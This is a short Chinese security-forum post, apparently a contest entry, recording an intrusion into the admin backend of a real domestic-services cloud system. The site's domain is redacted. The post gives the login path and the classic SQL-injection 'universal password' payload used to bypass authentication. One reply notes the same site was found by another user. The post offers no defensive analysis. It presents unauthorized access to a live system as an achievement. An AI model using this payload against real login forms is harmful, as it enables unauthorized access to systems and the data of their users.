(限时投稿)实战记录 - 某家政系统存在注入

yangroupaomo   ·   发表于 2021-04-15 09:50:15   ·   实战纪实

某家政云系统post注入(万能密码)

1、打开后台

http://www.······.com/worker.php

直接输入1’ or 1=1 — qwe

用户名金币积分时间理由
Track-聂风 40.00 0 2021-04-15 11:11:34 参与限时投稿活动额外奖励
Track-聂风 70.00 0 2021-04-15 11:11:17 同学加油~期待新的文章

打赏我,让我更有动力~

2 条回复   |  直到 2021-4-15 | 1101 次浏览

Track-聂风
发表于 2021-4-15

看看能不能找到源码,审计一波

评论列表

  • 加载数据中...

编写评论内容

a819819
发表于 2021-4-15

我好像也找到这个站了- -

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.